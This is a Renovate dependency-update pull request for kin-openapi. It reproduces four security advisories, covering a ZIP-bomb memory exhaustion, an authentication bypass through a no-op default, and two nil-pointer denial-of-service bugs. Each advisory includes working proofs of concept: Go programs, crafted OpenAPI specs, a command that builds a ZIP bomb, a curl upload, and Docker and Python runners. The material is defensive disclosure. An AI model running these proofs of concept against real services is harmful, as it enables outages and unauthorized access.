[renovate]

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/getkin/kin-openapi	v0.112.0 → v0.149.0

---

Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter

CVE-2025-30153 / GHSA-wq9g-9vfc-cfq9

More information

Details

Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

Details

The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.

PoC

To reproduce the vulnerability, you can use the following OpenAPI schema:

openapi: 3.0.0
info:
  title: 'Validator'
  version: 0.0.1
paths:
  /:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              required:
                - file
              properties:
                file:
                  type: string
                  format: binary
      responses:
        '200':
          description: Created

And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):

package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/getkin/kin-openapi/openapi3filter"
	legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

	"github.com/getkin/kin-openapi/openapi3"
)

func handler(w http.ResponseWriter, r *http.Request) {
	loader := openapi3.NewLoader()

	doc, err := loader.LoadFromFile("schema.yaml")
	if err != nil {
		http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
		return
	}

	if err := doc.Validate(r.Context()); err != nil {
		http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
		return
	}

	router, err := legacyrouter.NewRouter(doc)
	if err != nil {
		http.Error(w, "Failed to create router", http.StatusInternalServerError)
		return
	}

	route, pathParams, err := router.FindRoute(r)
	if err != nil {
		http.Error(w, "Failed to find route", http.StatusNotFound)
		return
	}

	input := &openapi3filter.RequestValidationInput{
		Request:     r,
		QueryParams: r.URL.Query(),
		Route:       route,
		PathParams:  pathParams,
	}

	if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
		http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
		return
	}

	w.Write([]byte("request ok !"))
}

func main() {
	http.HandleFunc("/", handler)
	log.Fatal(http.ListenAndServe(":8080", nil))

}

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:

perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt

Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.
It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

Remediation

I see at least 2 potential fixes/improvements:

• Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
• Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9
• https://github.com/getkin/kin-openapi/pull/1059
• https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1
• https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275
• https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523
• https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse
• https://nvd.nist.gov/vuln/detail/CVE-2025-30153
• https://github.com/advisories/GHSA-wq9g-9vfc-cfq9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default

GHSA-r277-6w6q-xmqw

More information

Details

Summary

ValidationHandler.Load() in getkin/kin-openapi silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which always returns nil without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI security requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on ValidationHandler as its enforcement middleware.

Details

ValidationHandler is an HTTP middleware exported by openapi3filter that validates incoming requests and responses against a loaded OpenAPI specification. Its Load() method initialises default fields before the handler begins serving:

// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
    h.AuthenticationFunc = NoopAuthenticationFunc
}

NoopAuthenticationFunc is defined as:

// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }

It always returns nil, meaning every security scheme check it handles is automatically approved.

When a request arrives, ServeHTTP → before → validateRequest assembles a RequestValidationInput with the current AuthenticationFunc (now the no-op) injected into Options:

// openapi3filter/validation_handler.go:91-103
options := &Options{
    AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
    Request:    r,
    PathParams: pathParams,
    Route:      route,
    Options:    options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
    return err
}

Inside ValidateRequest, each security requirement calls options.AuthenticationFunc:

// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
    return err
}

Because f is the no-op (not nil), the ErrAuthenticationServiceMissing guard is never triggered and f(...) returns nil, clearing the security requirement. Control then proceeds to the protected handler (validation_handler.go:61-62).

The critical contradiction is that callers who use ValidateRequest directly with a nil AuthenticationFunc get fail-closed behavior (ErrAuthenticationServiceMissing), while callers who use the higher-level ValidationHandler with a nil AuthenticationFunc get fail-open behavior. Since omitting AuthenticationFunc is the natural default, the majority of real-world integrations are vulnerable.

Affected source file and line: openapi3filter/validation_handler.go:47–49 (commit 30e2923, tag v0.143.0).

PoC

Environment

Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)

Step 1 — Build the Docker image

From the repository root (parent of vuln-001/):

docker build \
  -t vuln001-auth-bypass-poc \
  -f vuln-001/Dockerfile \
  reports/github_web_233_getkin__kin-openapi

The Dockerfile copies the local kin-openapi source into /kin-openapi/ inside the image and builds a Go binary (/poc-binary) from main.go. The go.mod inside the image uses a replace directive pointing to /kin-openapi, so no network access to the Go module proxy is required.

Step 2 — Run the container

docker run --rm --network none vuln001-auth-bypass-poc

Step 3 (alternative) — Use the Python helper

python3 vuln-001/poc.py --no-cleanup

What the PoC does

main.go creates a temporary OpenAPI 3.0 spec that declares GET /secret as protected by an apiKey security scheme:

paths:
  /secret:
    get:
      security:
        - apiKey: []
components:
  securitySchemes:
    apiKey:
      type: apiKey
      name: X-Api-Key
      in: header

It then constructs a ValidationHandler without setting AuthenticationFunc, calls Load(), and sends a request with no X-Api-Key header:

GET /secret HTTP/1.1
Host: example.test

##### X-Api-Key header is intentionally absent

Expected (vulnerable) output

=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
  Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
  -> Fail-CLOSED behavior confirmed: missing auth function is rejected

=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
  ValidationHandler.AuthenticationFunc: NOT SET (nil)
  Load() will inject NoopAuthenticationFunc, which always returns nil

  Request:  GET /secret  (X-Api-Key header: absent)
  Response: status=200  body="SECRET_DATA\n"

[EXPLOIT SUCCESS] Auth bypass confirmed!
  Protected resource /secret returned SECRET_DATA without credentials.
  ValidationHandler.Load() silently injected NoopAuthenticationFunc.
  Security requirement was bypassed. VULN-001 REPRODUCED.

The contrast block confirms fail-closed behavior when ValidateRequest is called directly. The exploit block confirms fail-open behavior through ValidationHandler. Status 200 and SECRET_DATA are returned without any credential.

Remediation patch

--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
  if h.Handler == nil {
      h.Handler = http.DefaultServeMux
  }
- if h.AuthenticationFunc == nil {
-     h.AuthenticationFunc = NoopAuthenticationFunc
- }
  if h.ErrorEncoder == nil {
      h.ErrorEncoder = DefaultErrorEncoder
  }

After this change, a nil AuthenticationFunc propagates into ValidateRequest, which returns ErrAuthenticationServiceMissing and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc.

Impact

This is an authentication bypass vulnerability (CWE-287). Any application that:

1. uses openapi3filter.ValidationHandler as its HTTP middleware, and
2. declares one or more security requirements in its OpenAPI specification, and
3. does not explicitly set AuthenticationFunc,

is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.

Affected parties include all Go services that adopt ValidationHandler as a drop-in validation layer and rely on OpenAPI security declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.

The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.

Reproduction artifacts

Dockerfile

FROM golang:1.25-alpine

##### Install git (needed by go mod for some packages)
RUN apk add --no-cache git

WORKDIR /workspace

##### Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/

##### Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc

##### Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc

go 1.25

require github.com/getkin/kin-openapi v0.143.0

replace github.com/getkin/kin-openapi => /kin-openapi
EOF

##### Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go

##### Resolve dependencies and build
RUN go mod tidy && \
    go build -o /poc-binary .

##### Run the PoC
CMD ["/poc-binary"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)

Vulnerability Summary:
    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
    passes without validation when the user forgets to set AuthenticationFunc.

    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).

Usage:
    python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""

import argparse
import os
import subprocess
import sys
import json

IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")

SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'

def run(cmd, **kwargs):
    """Run a shell command and return (returncode, stdout, stderr)."""
    print(f"[CMD] {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
    if result.stdout:
        print(result.stdout, end="")
    if result.stderr:
        print(result.stderr, end="", file=sys.stderr)
    return result.returncode, result.stdout, result.stderr

def build_image(build_dir):
    """Build the Docker image containing the PoC binary."""
    print("\n[*] Building Docker image ...")
    rc, stdout, stderr = run([
        "docker", "build",
        "--build-arg", f"REPO_DIR={REPO_DIR}",
        "-t", IMAGE_NAME,
        "-f", os.path.join(build_dir, "Dockerfile"),
        # Build context is the reports root so both Dockerfile and repo/ are reachable
        os.path.dirname(build_dir),
    ])
    if rc != 0:
        print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
        sys.exit(rc)
    print("[*] Docker build succeeded.")
    return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"

def run_container():
    """Run the container and capture output."""
    print("\n[*] Running PoC container ...")
    rc, stdout, stderr = run([
        "docker", "run", "--rm",
        "--network", "none",   # no network access needed
        IMAGE_NAME,
    ])
    combined = stdout + stderr
    return rc, combined

def evaluate(exit_code, output):
    """Determine whether the exploit was confirmed."""
    passed = (
        exit_code == 0
        and SUCCESS_MARKER in output
        and EXPECTED_STATUS in output
        and EXPECTED_BODY in output
    )
    return passed

def cleanup_image():
    """Remove the Docker image."""
    print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
    run(["docker", "rmi", "-f", IMAGE_NAME])

def main():
    global IMAGE_NAME
    parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
    parser.add_argument("--build-dir", default=SCRIPT_DIR,
                        help="Directory containing Dockerfile and main.go")
    parser.add_argument("--image", default=IMAGE_NAME,
                        help="Docker image name to build/run")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Keep the Docker image after the run")
    args = parser.parse_args()
    IMAGE_NAME = args.image

    print("=" * 60)
    print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
    print("=" * 60)
    print(f"  Build dir : {args.build_dir}")
    print(f"  Repo dir  : {REPO_DIR}")
    print(f"  Image     : {IMAGE_NAME}")

    build_cmd = build_image(args.build_dir)
    run_cmd = f"docker run --rm --network none {IMAGE_NAME}"

    exit_code, output = run_container()

    if not args.no_cleanup:
        cleanup_image()

    passed = evaluate(exit_code, output)

    print("\n" + "=" * 60)
    if passed:
        print("[RESULT] PASS — Auth bypass CONFIRMED")
        print("  The protected handler returned SECRET_DATA without credentials.")
        print("  ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
    else:
        print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})")

    print(f"\nContainer exit code : {exit_code}")
    print(f"Success marker found: {SUCCESS_MARKER in output}")
    print(f"Status 200 found    : {EXPECTED_STATUS in output}")
    print(f"Secret body found   : {EXPECTED_BODY in output}")

    # Exit with code that signals pass/fail
    sys.exit(0 if passed else 1)

if __name__ == "__main__":
    main()

Severity

• CVSS Score: 9.1 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

• https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw
• https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da
• https://github.com/getkin/kin-openapi/releases/tag/v0.144.0
• https://github.com/advisories/GHSA-r277-6w6q-xmqw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a content parameter whose media type has no schema

CVE-2026-73502 / GHSA-jpcw-4wr7-c3vq

More information

Details

Field	Value
Ecosystem	Go
Package	github.com/getkin/kin-openapi
Affected versions	<= 0.143.0 (introduced in v0.2.0, PR #​90, 2019-05-07; reproduced on HEAD 30e2923)
Patched versions	0.144.0

---

Summary

openapi3filter.ValidateRequest contains a NULL-pointer-dereference denial of service: any unauthenticated client can crash the request-validation path with a single HTTP request. When an operation declares a content parameter (as opposed to a schema parameter) whose media type object has no schema, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own doc.Validate() accepts it — and the defect affects both OpenAPI 3.0.x and 3.1.x. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.

Details

The decoder used for content parameters when no custom ParamDecoder is configured (the library default), defaultContentParameterDecoder, dereferences the media-type schema without a nil check.

openapi3filter/req_resp_decoder.go, around line 197:

mt := content.Get("application/json")
if mt == nil {                       // media-type OBJECT is guarded ...
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
outSchema = mt.Schema.Value          // ... but mt.Schema is NOT — panics when nil

The function guards param.Content == nil, len(content) != 1, and mt == nil, but never mt.Schema == nil.

Why a schema-less content parameter is legal (so the sink is reachable — doc.Validate() returns no error), in both 3.0.x and 3.1.x:

• openapi3/parameter.go — Parameter.Validate only enforces exactly one of schema XOR content; a parameter with content (and no schema) satisfies it.
• openapi3/media_type.go — MediaType.Validate validates the schema only when it is non-nil, so an absent schema is not a validation error.

Call path to the panic:

ValidateRequest                          openapi3filter/validate_request.go:83
  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)
       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)
            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic

Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.

PoC

Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.

1. Minimal OpenAPI 3.0.3 document (legal — doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:

openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}

2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:

package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		panic(err)
	}
	// Reachability: the malformed-but-legal document must validate.
	if err := doc.Validate(context.Background()); err != nil {
		panic("doc.Validate rejected the spec, not reachable: " + err.Error())
	}
	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		panic(err)
	}

	// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		// Panics here on the crafted request (req_resp_decoder.go:197).
		if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request:    r,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		}); err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(h)
	defer srv.Close()

	// The single, unauthenticated attack request.
	resp, err := http.Get(srv.URL + "/c?cfg=1")
	if err != nil {
		// Expected: the server goroutine panicked, so the client sees EOF.
		fmt.Printf("client received an aborted response (expected): %v\n", err)
		return
	}
	defer resp.Body.Close()
	fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}

3. Observed result — the request goroutine panics inside validation, and the client's http.Get returns an EOF:

http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
	openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
	openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
	openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
	openapi3filter/validate_request.go:83

Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.

Impact

This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.

The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:

Wiring	Recovered by net/http?	Result
Synchronous middleware / handler on net/http (incl. openapi3filter.ValidationHandler)	Yes	Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded http: panic serving log growth.
ValidateRequest on an app-spawned goroutine (fan-out, errgroup, async pre-check)	No	Whole process crashes on a single unauthenticated request unless the app added its own recover().
Non-net/http host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator)	No	Whole process crashes.

This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.

---

Remediation (suggested)

Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:

mt := content.Get("application/json")
if mt == nil {
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
if mt.Schema == nil {
    err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
    return
}
outSchema = mt.Schema.Value

The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.

Workarounds for consumers, pending a patch:

• Ensure every content parameter in served specs declares a schema, or reject such specs at load time.
• Supply a custom ParamDecoder that guards mt.Schema == nil.
• Run request validation inside a handler with an explicit recover() — especially if validation runs off the request goroutine or on a non-net/http host.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq
• https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64
• https://github.com/getkin/kin-openapi/releases/tag/v0.144.0
• https://github.com/advisories/GHSA-jpcw-4wr7-c3vq

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS

CVE-2026-76905 / GHSA-mmfr-pmjx-hw9w

More information

Details

Summary

A nil-pointer dereference in openapi3filter.ConvertErrors lets any unauthenticated client crash a server with a single HTTP request. When an application validates a multipart/form-data request body and renders the resulting validation error through the library-provided ValidationErrorEncoder / ConvertErrors helpers, a malformed scalar form field (e.g. a non-numeric value for an integer property) produces an error shape that convertParseError dereferences without a nil check. The handler goroutine panics, causing a denial of service. application/json request bodies are not affected — the bug is specific to multipart/form-data.

Details

The panic is in convertParseError, at openapi3filter/validation_error_encoder.go:119-120 (still present on master at the time of writing):

} else if innerErr.RootCause() != nil {
    if rootErr, ok := innerErr.Cause.(*ParseError); ok &&
        rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" {   // ❌ e.Parameter may be nil → panic

The comparison e.Parameter.In == "query" assumes e.Parameter is non-nil. It is reached whenever both of the following hold:

1. e.Parameter == nil. A *RequestError carries either Parameter (parameter errors) or RequestBody (body errors), never both. ValidateRequestBody builds body errors with only RequestBody set, leaving Parameter nil — see validate_request.go:326-332.
2. innerErr.Cause is itself a *ParseError (a ParseError nested inside a ParseError), so the type assertion on line 119 succeeds and execution reaches the e.Parameter.In dereference on line 120.

The only default code path that satisfies both conditions is the multipart body decoder, which wraps a failed part's *ParseError inside another *ParseError at req_resp_decoder.go:1549 and :1558:

if v, ok := err.(*ParseError); ok {
    return nil, &ParseError{path: []any{name}, Cause: v}   // v is a *ParseError → nested
}

Why other paths do not reach the dereference:

Body content type	Failure mode	RequestError.Err shape	.Cause is *ParseError?	e.Parameter	Panics?
multipart/form-data	scalar part fails primitive parse (age=notanumber)	*ParseError wrapping a *ParseError	yes	nil	YES
application/json	malformed JSON syntax	*ParseError whose .Cause is an encoding/json error	no (assertion fails → safe fallback branch)	nil	no
application/json	wrong type / schema violation	*openapi3.SchemaError (routed to convertSchemaError, never reaches convertParseError)	n/a	nil	no
styled query / path params	invalid format	*ParseError wrapping a *ParseError	yes	set (non-nil)	no (guard/assignment succeeds)

Note that the sibling "path" branch two lines above (line 108) already guards correctly with e.Parameter != nil; the "query" branch simply omits the same guard.

Recommended fix. Add the missing nil guard to the condition:

 		if rootErr, ok := innerErr.Cause.(*ParseError); ok &&
-			rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" {
+			rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query" {

When e.Parameter == nil the inner if is skipped and control falls through to the existing return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason} at line 127-130 — a correct 400 Bad Request. I verified that applying only this one-line guard stops the panic and returns *ValidationError{Status: 400}.

Minor follow-up worth including in the same change: for the multipart nested *ParseError, the outer ParseError.Reason is empty, so the fallback Title: innerErr.Reason yields a 400 with an empty Title. The descriptive text lives in innerErr.Error() (e.g. "path age: value notanumber: an invalid integer: invalid syntax"). Prefer a non-empty fallback:

title := innerErr.Reason
if title == "" {
    title = innerErr.Error()
}
return &ValidationError{Status: http.StatusBadRequest, Title: title}

PoC

Verified against revision 98d956447b64eaa10d3570a80b3be1a2849945f1 (also reproducible on current master), Go 1.25.0.

1. Spec — one operation accepting a multipart/form-data body with a non-string scalar (integer) property:

openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                age: {type: integer}
      responses:
        '200': {description: ok}

2. Program — validate a request whose age part is non-numeric, then convert the error the way a typical error-rendering middleware does:

package main

import (
	"bytes"
	"context"
	"fmt"
	"mime/multipart"
	"net/http"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                age: {type: integer}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, _ := loader.LoadFromData([]byte(spec))
	_ = doc.Validate(loader.Context)
	router, _ := gorillamux.NewRouter(doc)

	// multipart body: a non-numeric value for the integer property "age"
	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	_ = w.WriteField("age", "notanumber")
	w.Close()

	r, _ := http.NewRequest(http.MethodPost, "/upload", &buf)
	r.Header.Set("Content-Type", w.FormDataContentType())
	route, pp, _ := router.FindRoute(r)

	reqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
		Request: r, PathParams: pp, Route: route,
		Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
	})
	fmt.Printf("ValidateRequest returned: %T\n", reqErr) // *openapi3filter.RequestError

	// What an application's error-rendering middleware calls:
	_ = openapi3filter.ConvertErrors(reqErr) // panics
	fmt.Println("no panic (unexpected)")
}

3. Observed output (go run .):

ValidateRequest returned: *openapi3filter.RequestError
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]

goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3filter.convertParseError(...)
	.../openapi3filter/validation_error_encoder.go:120 +0x17c
github.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)
	.../openapi3filter/validation_error_encoder.go:42 +0xec
main.main()
	...
exit status 2

The panic is at exactly validation_error_encoder.go:120 — the unguarded e.Parameter.In dereference.

Control (confirms JSON is not a vector): repeating the setup with an application/json body and either a malformed body ({"age": ) or a wrong-type body ({"age": "notanumber"}) returns from ConvertErrors normally, with no panic. Only the multipart/form-data path crashes.

In a real HTTP server, ConvertErrors / ValidationErrorEncoder.Encode runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a recover() in the middleware chain, is trivially repeatable.

Impact

• Type: Nil-pointer dereference → unauthenticated remote denial of service.
• Who is impacted: any application using github.com/getkin/kin-openapi/openapi3filter that (1) exposes an endpoint accepting a multipart/form-data request body with at least one non-string scalar property (integer / number / boolean), and (2) renders validation errors through the library's own ValidationErrorEncoder or ConvertErrors helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration.
• Attack: a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.
• Consequence: the handling goroutine panics. Absent a recover() boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected.
• Not affected: applications that only accept application/json bodies (verified above), applications that do not use ConvertErrors / ValidationErrorEncoder to format errors, or applications that wrap handlers in a recover() (which converts the crash into a handled 500 but still prevents normal error rendering).

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/getkin/kin-openapi/security/advisories/GHSA-mmfr-pmjx-hw9w
• https://github.com/getkin/kin-openapi/commit/1d0a337c9b1570fab283be8a04c8af6e43b9a22c
• https://github.com/getkin/kin-openapi/releases/tag/v0.141.0
